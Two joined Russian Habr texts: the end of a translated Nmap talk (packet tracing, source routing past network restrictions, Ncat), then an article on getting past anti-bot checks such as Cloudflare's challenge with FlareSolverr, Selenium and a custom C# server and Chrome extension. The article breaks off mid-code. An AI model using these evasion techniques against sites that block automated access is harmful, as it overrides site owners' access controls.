Это очень хороший инструмент для понимания того, что, собственно, делает **Nmap**. Следующая функция, которая может предоставить вам много полезной информации, называется «Трассировка пакетов», или **Packet trace**.
Благодаря ей я могу узнать, является ли порт 25 конечным хостом, возвращающим мне пакеты, или их отбрасывает назад файрвол. Просмотрев трассировку пакетов во время быстрого сканирования **Nmap**, я могу сказать, с каким устройством они взаимодействуют. Здесь можно увидеть частоту, используемые опции сканирования, IP ID, и с помощью этой функции я могу выяснить, один и тот же хост отправлял мне пакеты в обоих случаях или нет. Это является полезным для понимания используемых файрволов и фильтрующих систем.
Ещё одна функция под названием «Продвинутая маршрутизация трассировки» **Advanced Traceroute** показывает, какой вид зондирования лучше использовать для проникновения. Эта быстрая функция, потому что **Nmap** может выполнять её параллельно сканированию.
Далее я сделал несколько улучшений производительности и точности сканирования.
Есть целый раздел на главной странице интерфейса программы, который показывает все опции, которые вы можете использовать для работы. Далее у нас есть опция заголовков **TCP** и **IP**, которая позволяет указать исходный маршрут или исходную запись.
Многие из вас скажут, что исходные маршруты были нужны 15 лет назад и сейчас это никому не надо. Но я общался с одним парнем, который недавно тестировал локальную сеть в одной компании. Она была расположена в чём-то типа конференц-зала и могла соединяться только с серверами определённой серии, поэтому ему не удалось установить контакт со всеми компьютерами компании. У них было создано что-то вроде **DMZ** для доступа к конференц-залу. Тогда этот парень взял один из их серверов и проиграл через него исходный маршрут, нашёл компьютер назначения и таким образом смог обойти это ограничение.
Мы разработали ещё один совершенно новый инструмент под названием **Ncat**.
Это современная интерпретация **Netcat** почтенного Хоббита. Она виртуально поддерживает все функции **Netcat 1.10**, кроме базового сканера портов, потому что я больше люблю использовать свой **Nmap** в качестве сканера. Она также поддерживает множество новых «крутых» функций: **SSL, IPv6** на разных платформах под управлением **Linux, Windows, Mac OS**, сетевое посредничество, перенаправление портов, прокси (клиент, сервер, цепочка) для сканирования через другой компьютер, исполнение оболочки, контроль доступа и т.д. Эта программа была создана Крисом Каттерджоном в 2005 году и сейчас полностью готова к релизу. Крис также добавил некоторые функции, такие как IP-опции и режим обнаружения пинга.
Следующим инструментом является **Ndiff**, появления которого давно многие дожидаются.
Эта утилита сравнивает результаты двух или более сканирований и показывает изменения: новые или удалённые хосты, порты, изменённые службы и т.д. Она прекрасно подходит для быстрого обнаружения изменений при повторном сканировании. Например, ежедневно я сканирую сеть какой-то компании, а в конце работы вызываю эту утилиту и говорю: «пришли мне на почту изменения, которые произошли со вчерашнего дня». Так я могу увидеть новые открытые порты, добавленные компьютеры и так далее.
Наконец, я хочу показать вам мою книгу «Сканирование сетей при помощи Nmap», я работал над ней несколько лет. В ней говорится не только о возможностях моего сетевого сканера, но и о техниках сканирования сети.
Я напечатал 170 экземпляров этой книги, которые хочу здесь раздать, но боюсь, что их начнут продавать на следующее утро. Книга также будет продаваться на Amazon и будет доступна для бесплатного скачивания на сайте **denman.org/book**. Вы можете добавить себя в список хакеров **Nmap** и получать новости о моей программе.
На следующем слайде перечислены те, кто внёс свой вклад в совершенствование программы **Nmap**, начиная с версии 4.50, которая вышла 9 месяцев назад. Я не мог бы ничего сделать без их помощи. Наш проект очень обязан добровольцам, которые к нему присоединись и помогли ему стать лучше.
А сейчас у меня ещё есть время, чтобы ответить на пару-тройку вопросов.
Действительно, я не очень хорошо себя чувствую в Германии и Великобритании и в других странах, которые приняли законы, запрещающие людям использовать такие инструменты, как **Nmap**. Да, их могут использовать и хорошие, и плохие люди, но лучше совершенствовать свои сети, а не действовать по аналогии с теми, кто запрещает использовать молотки, потому что ими можно убить человека. Лично я люблю выступать в Германии и Англии, поэтому такой запрет может стать для меня потенциальной проблемой, ведь я не хочу быть арестованным за нарушение закона.
Я бы не смог даже объяснить судье, в чём заключается моя мотивация, так как совершенно не знаю немецкого языка. Поэтому я рад, что некоторые объединения людей борются против этого закона.
Если у вас есть ещё вопросы, буду рад ответить на них в комнате 103, прямо напротив холла. Благодарю всех за внимание!
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас оформив заказ или порекомендовав знакомым, **30% скидка для пользователей Хабра на уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps от $20 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**VPS (KVM) E5-2650 v4 (6 Cores) 10GB DDR4 240GB SSD 1Gbps до декабря бесплатно** при оплате на срок от полугода, заказать можно [тут](https://ua-hosting.company/vpsnl).
**Dell R730xd в 2 раза дешевле?** Только у нас **[2 х Intel Dodeca-Core Xeon E5-2650v4 128GB DDR4 6x480GB SSD 1Gbps 100 ТВ от $249](https://ua-hosting.company/serversnl) в Нидерландах и США!** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/422767/ | null | ru | null |
# Парсим сайты с защитой от ботов
В этой статье мы разберемся, как работает типичная защита от роботов, рассмотрим подходы к автоматическому парсингу сайтов с такой защитой, и разработаем свое решение для её обхода. В конце статьи будет ссылка на гитхаб.
Речь не идет о каком-либо виде "взлома" или о создании повышенной нагрузки на сайт. Мы будем автоматизировать то, что и так можно сделать вручную. Если говорить конкретно о нас, то мы [собираем характеристики товаров](https://catalog.app).
Думаю, иногда при серфинге вы встречали такие страницы-заглушки. Их цель — удостовериться, что посмотреть на страницу хочет кто-то относительно живой, и пропустить его, и в то же время заблокировать различного рода роботов и парсеров. По сути, перед нами капча, но автоматическая, не требующая взаимодействия с пользователем.
Как работает защита от автоматических запросов?
-----------------------------------------------
Вряд ли кто-то знает наверняка в деталях, кроме разработчиков конкретного решения. Но мы можем сделать некоторые обоснованные предположения. По крайней мере, можем понять, какие принципы для этого могут быть использованы.
Давайте попробуем классифицировать способы, которые используют сайты, чтобы отфильтровать автоматические запросы.
1. Самописные решения.
2. Готовые модули для веб-cервера. По запросу “nginx bots protection module” находится много разных решений, и платных, и бесплатных, и открытых.
3. Сторонний сервис, специализирующийся на фильтрации автоматического трафика.
Для начала, давайте разберемся, что о нас известно серверу на той стороне, вне зависимости от того, каким из способов реализована проверка.
IP-адрес. По нему можно определить страну, город, провайдера. В большинстве случаев, по нему нельзя определить конкретное устройство или конкретного абонента, потому что абоненты находятся за NAT.
Заголовки HTTP. По ним можно определить браузер, используемый язык интерфейса, и некоторые другие параметры. В них же передаются Cookies, с их помощью которых можно сопоставить запросы из одного браузера. Так же с их помощью можно определить, выполняется ли на клиенте код на JavaScript.
Особенности реализации TCP, TLS и HTTP/2. Суть в том, что HTTP — это прикладной, самый последний уровень [модели OSI](https://ru.wikipedia.org/wiki/%D0%A1%D0%B5%D1%82%D0%B5%D0%B2%D0%B0%D1%8F_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D1%8C_OSI), а на уровнях ниже используются протоколы, реализация которых в разных программах может иметь особенности.
Последнее утверждение получилось весьма неконкретным, поэтому давайте установим какой-нибудь анализатор трафика и посмотрим, что происходит на самом деле.
> Я не являюсь сетевым инженером, поэтому могу допускать ошибки в рассуждениях о сетевых протоколах и трактовке полученных данных, но считаю тему важной и поэтому достойной попытки в ней разобраться.
>
>
Я установил Microsoft Network Monitor и посмотрел, как выглядят запросы из разных инструментов в виде кадров канального уровня. Примерно так:
Кадр из Microsoft Network Monitor
```
Frame: Number = 306, Captured Frame Length = 277, MediaType = WiFi
- WiFi: [Unencrypted Data] .T....., (I)
- MetaData:
Version: 2 (0x2)
Length: 32 (0x20)
- OpMode: Extensible Station Mode
StationMode: (...............................0) Not Station Mode
APMode: (..............................0.) Not AP Mode
ExtensibleStationMode: (.............................1..) Extensible Station Mode
Unused: (.0000000000000000000000000000...)
MonitorMode: (0...............................) Not Monitor Mode
Flags: 4294967295 (0xFFFFFFFF)
RemData: Outbound
TimeStamp: 01/14/2023, 14:02:35.627425 UTC
- FrameControl: Version 0,Data, Data, .T.....(0x108)
Version: (..............00) 0
Type: (............10..) Data
SubType: (........0000....) Data
DS: (......01........) STA to DS via AP
MoreFrag: (.....0..........) No
Retry: (....0...........) No
PowerMgt: (...0............) Active Mode
MoreData: (..0.............) No
ProtectedFrame: (.0..............) No
Order: (0...............) Unordered
Duration: 32768 (0x8000)
BSSID: 2C9D1E DC642C
SA: E470B8 CF3A50
DA: 2C9D1E DC641F
- SequenceControl: Sequence Number = 0
FragmentNumber: (............0000) 0
SequenceNumber: (000000000000....) 0
- LLC: Unnumbered(U) Frame, Command Frame, SSAP = SNAP(Sub-Network Access Protocol), DSAP = SNAP(Sub-Network Access Protocol)
- DSAP: SNAP(Sub-Network Access Protocol), Individual DSAP
Address: (1010101.) SNAP(Sub-Network Access Protocol)
IG: (.......0) Individual Address
- SSAP: SNAP(Sub-Network Access Protocol), Command
Address: (1010101.) SNAP(Sub-Network Access Protocol)
CR: (.......0) Command Frame
- Unnumbered: UI - Unnumbered Information
MMM: (000.....) 0
PF: (...0....) Poll Bit - No Response Solicited
MM: (....00..)
Type: (......11) Unnumbered(U) Frame
- Snap: EtherType = Internet IP (IPv4), OrgCode = XEROX CORPORATION
OrganizationCode: XEROX CORPORATION, 0(0x0000)
EtherType: Internet IP (IPv4), 2048(0x0800)
- Ipv4: Src = 192.168.100.24, Dest = 49.12.20.235, Next Protocol = TCP, Packet ID = 3626, Total IP Length = 213
- Versions: IPv4, Internet Protocol; Header Length = 20
Version: (0100....) IPv4, Internet Protocol
HeaderLength: (....0101) 20 bytes (0x5)
- DifferentiatedServicesField: DSCP: 0, ECN: 0
DSCP: (000000..) Differentiated services codepoint 0
ECT: (......0.) ECN-Capable Transport not set
CE: (.......0) ECN-CE not set
TotalLength: 213 (0xD5)
Identification: 3626 (0xE2A)
- FragmentFlags: 16384 (0x4000)
Reserved: (0...............)
DF: (.1..............) Do not fragment
MF: (..0.............) This is the last fragment
Offset: (...0000000000000) 0
TimeToLive: 128 (0x80)
NextProtocol: TCP, 6(0x6)
Checksum: 33089 (0x8141)
SourceAddress: 192.168.100.24
DestinationAddress: 49.12.20.235
- Tcp: Flags=...AP..., SrcPort=51677, DstPort=HTTPS(443), PayloadLen=173, Seq=3595707432 - 3595707605, Ack=850844191, Win=512 (scale factor 0x8) = 131072
SrcPort: 51677
DstPort: HTTPS(443)
SequenceNumber: 3595707432 (0xD6522428)
AcknowledgementNumber: 850844191 (0x32B6DA1F)
- DataOffset: 80 (0x50)
DataOffset: (0101....) 20 bytes
Reserved: (....000.)
NS: (.......0) Nonce Sum not significant
- Flags: ...AP...
CWR: (0.......) CWR not significant
ECE: (.0......) ECN-Echo not significant
Urgent: (..0.....) Not Urgent Data
Ack: (...1....) Acknowledgement field significant
Push: (....1...) Push Function
Reset: (.....0..) No Reset
Syn: (......0.) Not Synchronize sequence numbers
Fin: (.......0) Not End of data
Window: 512 (scale factor 0x8) = 131072
Checksum: 0xF528, Disregarded
UrgentPointer: 0 (0x0)
TCPPayload: SourcePort = 51677, DestinationPort = 443
TLSSSLData: Transport Layer Security (TLS) Payload Data
- TLS: TLS Rec Layer-1 HandShake: Encrypted Handshake Message.
- TlsRecordLayer: TLS Rec Layer-1 HandShake:
ContentType: HandShake:
- Version: TLS 1.2
Major: 3 (0x3)
Minor: 3 (0x3)
Length: 168 (0xA8)
- SSLHandshake: SSL HandShake
EncryptedHandshakeMessage: Binary Large Object (168 Bytes)
```
Канальный уровень нас не интересует, данные о нем до удаленного сервера не дойдут. Нас интересуют инкапсулированные в кадре канального уровня пакеты сетевого уровеня и уровни выше.
Первое интересное наблюдение: IP-пакет содержит параметр TTL. Начальное значение этого параметра для TCP протокола отличается в разных операционных системах. Мне удалось найти такие значения для современных версий:
| | |
| --- | --- |
| Windows | 128 |
| Linux | 64 |
| MacOS | 64 |
| iOS | 64 |
| Android | 64 |
Теоретически, можно проверить, соответствует ли значение заголовка User-Agent значению TTL IP-пакетов.
Второе интересное наблюдение: разные программы используют разные версии TLS для доступа к одному и тому же ресурсу. В частности, в моих экспериментах Вивальди всегда использовал версию 1.0, а Fiddler — версию 1.2.
Уверен, что опытный сетевой инженер найдет и другие закономерности.
Промежуточный вывод: да, особенности реализации сетевых протоколов в различных программах можно использовать для косвенного определения, был запрос сделан из браузера или нет.
Теперь рассмотрим наши пункты подробнее.
### Самописные решения
В этом пункте может быть что угодно, от простой проверки User-Agent до требования аппаратного ключа для доступа к запрашиваемым ресурсам.
Самое простое. Некоторые сайты проверяют заголовок User-Agent, и не обрабатывать запросы, если такого заголовка нет в запросе, либо если в нем передается нетипичное для браузера значение.
Чуть сложнее. Могут быть разные вариации непосредственно алгоритма, но суть состоит в проверке того, что заголовки корректно передаются и обрабатываются клиентом. В частности, может проверятся обработка клиетом заголовка Set-Cookie. Может проверяться соответствие значений заголовков User-Agent, Accept и Accept-Encoding. Браузер, не принимающий gzip, — возможно, не браузер.
Также может быть реализована проверка того, что на клиенте включен JavaScript.
Может использоваться самописная капча. Использование готовых библиотек для генерации картинки с искажениями тоже определим в этот пункт.
Может быть установлено ограничение по количеству запросов с одного IP-адреса за единицу времени.
Может отслеживаться соотношение запросов к страницам и запросов к другим ресурсам. Если с какого-то IP-адреса регулярно запрашиваются HTML-страницы, но не запрашиваются изображения — это подозрительно.
### Готовые модули для веб-cервера
Случайный сайт в интернете, которому у нас нет оснований не доверять, говорит, что на рынке веб-серверов сложилась такая ситуация:
Nginx на первом месте, и он поддерживает сторонние модули. Apache на втором месте, и он тоже поддерживает сторонние модули. Часто они работают вместе, Nginx работает как reverse proxy и обрабатывает запросы к серверу на 80 и 443 портах, отдает статику и занимается кэшированием, а запросы на динамические страницы передаёт Apache.
В принципе, всё, что может быть реализовано как самописное решение, может быть реализовано и как готовый модуль для веб-сервера.
Но давайте найдем пару готовых модулей и попробуем по их документации понять принцип работы.
Первым результатом Гугл выдал [DataDome Nginx module](https://docs.datadome.co/docs/nginx). Документация говорит следующее: при получении запроса модуль сделает запрос к DataDome API, и, в зависимости от ответа, заблокирует запрос или продолжит его обработку. Модуль может сочетаться со скриптом, который добавляется на все страницы сайта. Скрипт выполняет дополнительные проверки на клиенте.
В общем, пока мы увидели принцип “держать алгоритм детектирования ботов в секрете”.
Следующие несколько результатов из поисковой выдачи работают по такому же принципу.
Следующий результат — [Nginx Bad Bot and User-Agent Blocker, Spam Referrer Blocker, Anti DDOS, Bad IP Blocker and Wordpress Theme Detector Blocker](https://github.com/mitchellkrogza/nginx-ultimate-bad-bot-blocker). Тут уже доступен исходный код, и можно разобраться, как модуль работает. Если кратко — то работает на основе черных и белых списков. Анализируются не только IP-адреса, но и значения заголовков User-Agent, Refferrer и других. Возможно, дополнительно используются некоторые эвристики, но я в процессе беглого просмотра их не нашел.
### Сторонние сервисы
Существуют сторонние сервисы, которые позволяют блокировать автоматические парсеры. Как правило, их функциональность этим не ограничивается, и они предлагают и другие полезные вещи: CDN, защиту от DoS и DDoS, кэширование, управление DNS, хостинг. Самым популярным таким сервисом является [Cloudflare](https://www.cloudflare.com).
Сам Cloudflare даёт такую схему работы своего сервиса:
По сути, происходит следующее: владелец сайта в панели управления доменом меняет значения NS-записей на DNS-сервера Cloudflare. После этого запросы на преобразование имени (символьного адреса) хоста в его IP-адрес возвращают IP-адреса серверов Cloudflare. Соответственно, и запросы к сайту направляются на сервера Cloudflare.
Получив HTTP-запрос, сервер Cloudflare решает, заблокировать его, выполнить автоматическую проверку на клиенте на предмет “бот — не бот”, выполнить проверку, которая требует взаимодействия с пользователем (капча), либо продолжить обработку запроса.
Что касается процесса первоначального анализа запроса, то серверу Cloudflare доступна вся информация о запросе, которую мы рассматривали выше. Кроме того, доступны разного рода статистические данные по всем запросам к серверам Cloudflare, а не только запросам к сайту одного клиента.
Рассматиривая Cloudflare, мы обязательно должны рассмотреть и проверку на клиенте. Это то, что в при обсуждении сервиса принято называть словом “challenge”. Суть его такова: в ответ на запрос к сайту Cloudflare отдает специальным образом сформированную страницу, где есть какой-то обфусцированный JavaScript. Этот JavaScript реализует обращения к разным API браузера, включая возможность делать ajax-запросы, производит вычисления, проверяет наличие Selenium-драйвера, в общем, проверяет, что браузер ведет себя как браузер, а не как другая реализация интерпретатора JavaScript. В зависимости от результатов этой проверки, разрешается или блокируется доступ к запрошенной странице. Конкретный алгоритм проверки меняется со временем.
### Разрабатываем парсер
Учитывая все, сказанное выше, думаю, оптимальными будут такие особенности нашей системы парсинга:
1. Будем использовать готовые решения для работы с HTTP запросами и DOM.
2. Будем использовать распространенные и согласованные заголовки Accept, Accept-Encoding, User-Agent.
3. Будем использовать сессии, под ними подразумевается корректная обработка заголовка Set-Cookie и хранение значнеия Cookie между запросами.
4. В случае, если запросы к конкретному сайту блокируются, будем использовать браузер для получения HTML-кода страниц с этого сайта. Весь остальной процесс не изменяется.
Поскольку основная наша платформа — .NET, в качестве основного инструмента для работы с запросами и DOM будем использовать AngleSharp. Эту часть я опишу в виде псевдокода, потому что в этой статье мы не изучаем AngleSharp, а разбираемся, как пройти проверку Cloudflare.
Мы собираемся парсить разные сайты. Логично, что в таком случае каждый из парсеров лучше реализовать в виде отдельного класса. Но мы не хотим писать повторяющийся код раз за разом во всех этих классах, поэтому давайте вынесем переиспользуемые методы в базовый класс. Можно и аггрегирование использовать, но у нас будет старое доброе наследование.
Наш базовый класс в таком случае может выглядеть примерно так. Вопросы асинхронности опустим. Псевдокод, похожий на C#:
```
public abstract class BaseParser
{
private readonly ILogger logger;
private readonly string solverProxyEndpoint;
private bool useBrowserProxy = false;
private IBrowsingContext context;
protected BaseParser(
ILogger logger,
IConfiguration configuration)
{
this.logger = logger;
solverProxyEndpoint = configuration["SolverProxyEndpoint"];
context = CreateContext();
}
private IBrowsingContext CreateContext()
{
var config = GetAngleSharpConfiguration();
var context = BrowsingContext.New(config);
return context;
}
private AngleSharp.IConfiguration CreateAngleSharpConfiguration()
{
var requester = CreateHttpRequester();
var config = AngleSharp.Configuration.Default
.With(requester)
.WithCookies()
.WithDefaultLoader();
return config;
}
private IRequester CreateHttpRequester()
{
var requester = new DefaultHttpRequester();
// Добавить заголовки запроса
return requester;
}
private IDocument LoadDocumentWithSolverProxy(string url)
{
// Сделать запрос на сервис, который обойдет блокировку.
// Открыть ответ как документ AngleSharp.
// Назначить корректный базовый адрес, это понадобится
// для корректной работы с относительными адресами.
// Вернуть документ.
}
protected virtual bool ChallengeExists(IDocument document)
{
// Проверить, что на странице присутствуют элементы,
// которые ассоциированы с выполнением автоматической проверки.
// Например, элемент с аттрибутом id равным "challenge-running".
}
protected IDocument LoadDocument(string url)
{
try
{
IDocument document = null;
if (!useBrowserProxy)
{
document = context.Open(url);
useBrowserProxy = ChallengeExists(document);
}
if (useBrowserProxy)
{
document = LoadDocumentWithSolverProxy(url);
}
return document;
}
catch (Exception e)
{
logger.Log(e, url);
return null;
}
}
}
```
Что же, несколькими строками кода мы решили вопрос с сессией и заголовками. Но больше всего нас интересует метод `LoadDocumentWithSolverProxy(string url)`. Он должен каким-то образом пройти проверку Cloudflare. На самом деле, не только проверку Cloudflare, но и другие подобные проверки.
### Способы обхода блокировки
Пройти проверку Cloudflare сложно, но возможно. Способы это сделать сводятся к следующим:
1. Слать запросы непосредственно на сервер, обслуживающий сайт, в обход Cloudflare. Просто, но не всегда возможно. Подразумевается, что тот, кто настраивал защиту от ботов, поленился, ошибся или не до конца разобрался, и не запретил обращения к серверу мимо Cloudflare.
2. Забирать страницы из кэша Гугла.
3. Воспользоваться готовым программным решением для прохождения проверки. Например, [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr).
4. Производить парсинг с помощью браузера, управляемого кодом. По сути, использовать инструменты для автоматического сквозного тестирования: Puppeteer, Playwright, Selenium.
5. Воспользоваться платным сервисом, который умеет проходить проверки.
6. Разобраться, как работает защита, провести реверс-инжиниринг, и проходить её наиболее оптимальным способом, не запуская ресурсозатратные браузеры.
Я попробовал почти все, и сейчас расскажу о результатах.
Возможность слать запросы в обход проверки нельзя рассматривать как надежное и воспроизводимое решение. Повезет — получится, не повезет — не получится. Скорее всего, не получится. Не рассматриваем как универсальное решение. Мне не удалось найти сайт, который можно было бы распарсить таким образом. С другой стороны, я не особо старался и потратил на поиск минут пять.
Возможность забирать страницы из кэша Гугла или другого поисковика тоже не выглядит надежным решением. Во-первых, не все нужные страницы могут быть в кэше Гугла. Во-вторых, Гугл тоже может забанить. Такое уже бывало, когда провайдер использовал один публичный IP-адрес для слишком большого числа абонентов. Тогда мы видели такую страницу при каждой попытке открыть поисковик:
Но способ рабочий. Шаблон адреса такой: https://webcache.googleusercontent.com/search?q=cache:{url\_of\_requested\_page\_here}
Что касается готовых решений, я попробовал следующие:
1. [CloudflareSolverRe](https://github.com/RyuzakiH/CloudflareSolverRe). Подход, примененный автором, не использует браузерный движок. Ответ сервера разбирается средствами C#, и на C# воспроизводится алгоритм решения задачи. К сожалению, не работает с 2020 года, когда Cloudflare поменяла алгоритм проверки. Он стал более сложным, и теперь состоит из нескольких шагов, и кроме того использует не только вычисления на JavaScript, но и взаимодействие с API браузера. Подход не оправдал себя, потому что любое изменение в алгоритме проверки приводит к необходимости менять алгоритм её обхода, а то и полностью его переписывать.
2. [FlareSolverr](https://github.com/FlareSolverr/FlareSolverr). На первый взгляд выглядит рабочим. Есть свежие (вчерашние на момент написания статьи) коммиты и живой баг-трекер. Когда я его скачал и запустил, он не прошел проверку на первом же сайте. Я пошел разбираться и выяснил, для разработки используется Python, а для прохождения проверок — Selenium. В процессе я обнаружил такой код:
```
ACCESS_DENIED_SELECTORS = [
# Cloudflare
'div.cf-error-title span.cf-code-label span'
]
CHALLENGE_TITLE = [
# Cloudflare
'Just a moment...',
# DDoS-GUARD
'DDOS-GUARD',
]
CHALLENGE_SELECTORS = [
# Cloudflare
'#cf-challenge-running', '.ray_id', '.attack-box', '#cf-please-wait', '#challenge-spinner', '#trk_jschal_js',
# Custom CloudFlare for EbookParadijs, Film-Paleis, MuziekFabriek and Puur-Hollands
'td.info #js_info'
]
```
Ниже производится поиск элементов по селектору на странице, этот код я не привожу. Элемент есть — ждем, элемента нет — возвращаем результат.
Так я узнал, что страницу-заглушку можно настраивать, и она на разных сайтах может быть разной. К сожалению, на первом же тестируемом сайте проверка не прошла. Для построения универсального решения для обхода защиты потребуется менять исходный код. Поддерживать код на питоне лично мне не хочется, но это решение уже можно рассматривать как основу для надежной системы парсинга.
Следующим я попробовал Selenium. Это уже посложнее, чем скачать и запустить, речь про код на C#, который обрабатывает запросы вида “<http://localhost/proxy?url=https://nowsecure.nl>”, загружает нужный адрес в запущенном браузере, ждет, пока пройдет проверка, и возвращает результат. Взаимодействие с браузером осуществляется при помощи Selenium-драйвера.
Что же, на этом этапе выяснилось, что
1. Проверка Cloudflare понимает, что браузер управляется драйвером.
2. Это на самом деле несложно
3. Алгоритм определения этого, который используется Cloudflare, сложнее, чем просто проверка свойства navigator.webdriver.
4. Существует версия драйвера, которая, теоретически, не детектируется.
5. Версия, которая, теоретически, не детектируется, не определяется при первом посещении сайта запущенным браузером, но детектируется со второго посещения. Почему — непонятно. Браузер нужно постоянно перезапускать.
6. Алгоритм детектирования Selenium меняется с течением времени, и иногда драйвер начинает определяться. Тогда нужно ждать выхода следующей версии.
В общем, я почти повторил функциональность FlareSolverr на C#. Соответственно, недостатки решения на Selenium относятся и к FlareSolverr, но они дали о себе знать только при более тесном знакомстве с используемым подходом.
Из платных сервисов я попробовал [scrapingbee.com](https://www.scrapingbee.com) и остался вполне доволен результатом. Возможно, для парсинга небольшого количества страниц это оптимальное решение. По крайней мере, стоит оценить затраты на платный сервис и затраты на собственную разработку и сравнить их. С другой стороны, я сделал с десяток запросов, этого мало, чтобы сделать обоснованные выводы. Вариант однозначно стоит рассмотреть, но мы в рамках нашей статьи его пропустим, потому что о простой интеграции с API стороннего сервиса неинтересно писать и неинтересно читать.
Почему не стоит рассматривать реверс-инжиниринг и прохождение проверки без запущенного браузера, уже красочно ответил CloudflareSolverRe. Потому что сложно, и в случае изменений в алгоритме проверки, скорее всего, придется переписать все с нуля.
Обходим блокировку
------------------
Думаю, мы достаточно погрузились в тему, чтобы приступить к реализации собственного решения.
Оно у нас будет состоять из двух частей. Серверная часть будет реализована на языке C# и платформе .NET Core, а клиентская — в виде расширения для браузера Chrome. Выбор C# обусловлен личными предпочтениями, объективно, подойдет почти любой язык. Опыт использования Selenium для этой цели говорит о том, что расширение для браузера будет более надежным решением. Кроме того, мы будем контролировать весь процесс, и у нас не будет промежуточного черного ящика в виде Selenium драйвера.
Давайте начнем с серверной части. Подразумевается такой сценарий работы:
1. Сервер получает запрос на загрузку некоторой страницы. В параметрах запроса передается адрес страницы и, опционально, css-селекторы элементов, сигнализирующих о том, что выполняется автоматическая проверка. Кроме того, в параметрах можно передать селектор элемента, по которому нужно эмулировать щелчок мыши. Соответственно, запрос должен выглядеть примерно так: [https://proxy.loader/load?url=https%3A%2F%2Fexample.com&waitSelector=%23challenge&clickSelector=%23click-here](https://proxy.loader/url=https%3A%2F%2Fexample.com&waitSelector=%23challenge&clickSelector=%23click-here)
2. Запрос ставится в очередь необработанных запросов.
3. Расширение запрашивает адрес для загрузки. Соответственно, сервер обрабатывает этот запрос и возвращает информацию опервом в очереди адресе, который необходимо загрузить. Адрес удаляется из очереди и перемещается в список адресов, которые находятся в процессе загрузки. Расширение переходит по полученному на какой-нибудь из вкладок (давайте пока не будем конкретизировать это поведение).
4. Расширение ждет, пока проходит автоматическая проверка. При необходимости, эмулирует нажатия мыши.
5. Расширение преобразует загруженный документ в HTML-разметку и отправляет его на сервер с помощью POST запроса.
6. Сервер возвращает ответ на запрос из пункта 1.
Давайте напишем сервер. Версия приведенная здесь, будет отличаться от версии в git. Я удалил несущественные в контесте обсуждения обхода блокировки проверки аргументов и обработки ошибок. Итак, файл Program.cs:
```
using BrowserProxy;
var syncRoot = new object();
var builder = WebApplication.CreateBuilder(args);
var app = builder.Build();
using var pageLoader = new PageLoader();
app.MapGet("/load", LoadUrlAsync);
app.MapGet("/task", GetUrlToLoad);
app.MapPost("/result", SetResultAsync);
app.Run();
async Task LoadUrlAsync(string url, string? waitSelector = null, string? clickSelector = null)
{
try
{
var result = await pageLoader.LoadUrlAsync(url, waitSelector, clickSelector);
return Results.Content(result, "text/html; charset=utf-8");
}
catch (TimeoutException e)
{
return Results.Problem("Timeout", "", 408);
}
catch (OverflowException e)
{
return Results.Problem("Too many requests", "", 429);
}
catch (Exception e)
{
return Results.Problem("Internal error", "", 500);
}
}
IResult GetUrlToLoad()
{
var urlToLoad = pageLoader.GetUrlToLoad();
var result = urlToLoad != null
? Results.Json(urlToLoad)
: Results.NoContent();
return result;
}
async Task SetResultAsync(string url, Stream stream)
{
using var streamReader = new StreamReader(stream);
var result = await streamReader.ReadToEndAsync();
pageLoader.TrySetResult(url, result);
return Results.Accepted();
}
```
Что же, мы реализовали три метода, которые могут обрабатывать HTTP запросы.
`LoadUrlAsync` принимает запрос на загрузку страницы, пытается ее загрузить и возвращает результат, если получилось. Если нет — возвращает код состояния, соответствующий ошибке.
`GetUrlToLoad` возвращает информацию об адресе из очереди, который необходимо загрузить в браузере. Он будет обрабатывать запросы от нашего расширения.
Возможно, идея возвращать в одном и том же методе json в случае, если в очереди что-то есть, и код состояния 204 без тела ответа в случае, если очередь пуста, кому-то покажется немного нелогичной, и я соглашусь с его доводами. Но в данном случае мы будем обходиться необходимым минимумом сущностей.
`SetResultAsync` будет обрабатывать запросы от расширения с результатом загрузки страницы.
Непосредственно загрузку страниц мы делегировали классу `PageLoader`. Давайте сначала схематично набросаем его структуру.
```
public class PageLoader
{
public async Task LoadUrlAsync(string url, string? waitSelector = null, string? clickSelector = null)
{
// Проверить, что в очереди на загрузку есть место.
// Добавить адрес в очередь на загрузку.
// Ждать, пока страница не будет загружена,
// либо не истечет время, отведенное на её загрузку.
}
public UrlToLoad? GetUrlToLoad()
{
// Проверить, что очереди не пуста.
// Взять первый адрес из очереди и удалить его из очереди.
// Добавить адрес в список адресов, которые находятся в процессе загрузки.
// Вернуть адрес.
}
public void TrySetResult(string url, string result)
{
// Сообщить методу LoadUrlAsync, что страница загружена.
}
private void MainLoop(object cancelationToken)
{
// Адреса, которые находятся в очереди либо в процессе загрузки,
// проверить на предмет истечения времени, отведенного на загрузку.
// Если время истекло, уведомить об этом метод LoadUrlAsync.
// Подождать.
// Повторить.
}
}
```
Теперь давайте воплотим это в коде. То, что получилось у меня, будет под спойлером.
PageLoader.cs
```
using System.Collections.Concurrent;
using DateTime = System.DateTime;
namespace BrowserProxy;
public class PageLoader : IDisposable
{
private readonly int queueSize = 10;
private readonly TimeSpan maxWaitTime = TimeSpan.FromSeconds(30);
private ConcurrentQueue pendingQueue;
private HashSet queueItemsInProgress;
private CancellationTokenSource mainLoopCancellationTokenSource;
public PageLoader()
{
pendingQueue = new ConcurrentQueue();
queueItemsInProgress = new HashSet();
mainLoopCancellationTokenSource = new CancellationTokenSource();
Task.Factory.StartNew(MainLoop, mainLoopCancellationTokenSource.Token);
}
public async Task LoadUrlAsync(string url, string? waitSelector = null, string? clickSelector = null)
{
if (pendingQueue.Count >= queueSize)
{
throw new OverflowException("Too many requests");
}
if (string.IsNullOrEmpty(url))
{
throw new ArgumentException("Url can't be null");
}
var taskCompletionSource = new TaskCompletionSource();
var queueItem = new QueueItem()
{
Url = url,
WaitSelector = waitSelector,
ClickSelector = clickSelector,
StartTime = DateTime.Now,
TaskCompletionSource = taskCompletionSource
};
pendingQueue.Enqueue(queueItem);
var result = await taskCompletionSource.Task;
return result;
}
public UrlToLoad? GetUrlToLoad()
{
